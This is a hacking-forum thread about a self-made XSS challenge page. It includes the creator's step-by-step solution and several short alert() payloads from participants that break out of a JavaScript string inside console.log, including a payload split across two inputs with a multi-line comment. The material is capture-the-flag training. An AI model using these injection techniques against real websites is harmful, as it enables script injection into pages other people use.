[redlightrouter]

Hello all,

I made a little XSS challenge that's pretty advanced, I think alot harder than the other one I made. (https://hackforums.net/showthread.php?tid=5483982 )

It's different from the other one I made, but I don't want to spoil what's different ;).

Here is the link:

http://xsschallenge.coolpage.biz/xss2.php

I expect you guys to be sweet with this one ^^
ps. dont forget to pm me your vector.

Thanks Ryuga, for helping me not being dumb lol.

Good luck.

Spoiler (Click to View)



EDIT:

I've updated it alot. I'm now 80% sure other vector won't be possible than the one I had in mind.

[Ryuga]

~ easy one, ty.

[Faith Connors]

goddamn, right when i have to go on a road trip :(
well, remember to leave some vectors open for me to give it a shot lmao

[redlightrouter]

goddamn, right when i have to go on a road trip :(
well, remember to leave some vectors open for me to give it a shot lmao

Ofcourse Faith :). Enjoy your road trip.

[Faith Connors]

bumping back up for easy access
also just got home so lets give it a shot

without the php this would have been hard af dude lmao
but at least i actually kinda get whats going on so thanks for that i appreciate it lmao

Done:

[Ryuga]

Did the #1 as well ..
Spoiler (Click to View)

[redlightrouter]

Did the #1 as well ..
Spoiler (Click to View)

Nice! That one was fairly easy if you understand javascript. Many people here only understand common xss payloads, thats why I made the challenge.
Also, I have to say that you're pretty dang good with xss. Keep it up :).

---

Well I think it's time for the solution since I was pretty bitchy about this one (sorry about that 😏)

Here it is (includes images):
Spoiler (Click to View)
when opening the site you see you have to enter 2 vectors to suceed.


If you inspect the source you see that user input gets console logged.


As shown on the page the query to console log looks like

PHP Code


<?php 
console.log("Hi"); console.log("Hi"); 


To escape this we need to enter ");.
The query will look like this

PHP Code


<?php 
console.log("");"); console.log(""); 


This will cause nothing more than an error.
To get an alert box we obviously need to place alert() behind it, but that will still cause an error since the script tries to close an already closed function.
So we have to comment that out, but since // is filtered we must use /*

PHP Code


<?php 
console.log("");alert();/*"); console.log(""); 


At first you'd think that this is ok, and the challenge should be done. Nope, this will (again) cause an error, because you have to end the multi-line comment.

This is where the second input comes in. To end a multi-line comment you have to insert */

PHP Code


<?php 
console.log("");alert();/*"); console.log("*/"); 


This also will cause an error, because the scripts tries to close the already closed function.
Since we injected our own function we can use that unexpected ending for an expected ending (if that even is a thing lol)

PHP Code


<?php 
console.log("");alert;/*"); console.log("*/("xss"); 


So the end result will look like this:

PHP Code


<?php 
console.log("");alert/*"); console.log("*/("xss");

//Executed code
console.log("");
alert("xss");

//Payload: 
)"alert/*
*/("xss 


I'd like to thank you all for participating in this challenge. I've learned some new payloads by making these challenges and I hope I learned you some new things aswell.

[Faith Connors]

found a new vector but dont want u to patch it zzzzz feelsbad lmao
whatever, these are training me to get better so thx bby <3

[Ryuga]

Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Spoiler (Click to View)

"|alert('xss')|"

[Faith Connors]

Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Spoiler (Click to View)

goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines

[Ryuga]

goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines

Thanks but tbh, I'm not good at js, I'm still trying to learn it .. here's what you should (or I try when trying to XSS in such context) ..

Arithmetic Operators
Comparison and Logical Operators
Bitwise Operators
and of course, closing teh "thing" and commenting out/balancing the line! ');alert(1)//

🎉

[•^v^–[ bLacKn3x ]–^v^•]

Spoiler (Click to View)

[redlightrouter]

Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Spoiler (Click to View)

Dude stop bypassing and making me feel bad 😟
Jk, I love learning by your payloads. You see I'm not the best in scripting so I'll miss a lot of things that could bypass it. I won't patch anything from now on btw.

---

found a new vector but dont want u to patch it zzzzz feelsbad lmao
whatever, these are training me to get better so thx bby <3

No problem. Glad you're enjoying these challenges ;)

[suffixor]

What I ended up with.

Spoiler (Click to View)

Code

"+alert()+"

[redlightrouter]

What I ended up with.

Spoiler (Click to View)

Code

"+alert()+"

Nice! After Ryuga bypassed this numerous times I also came up with
Spoiler (Click to View)
"/alert()/"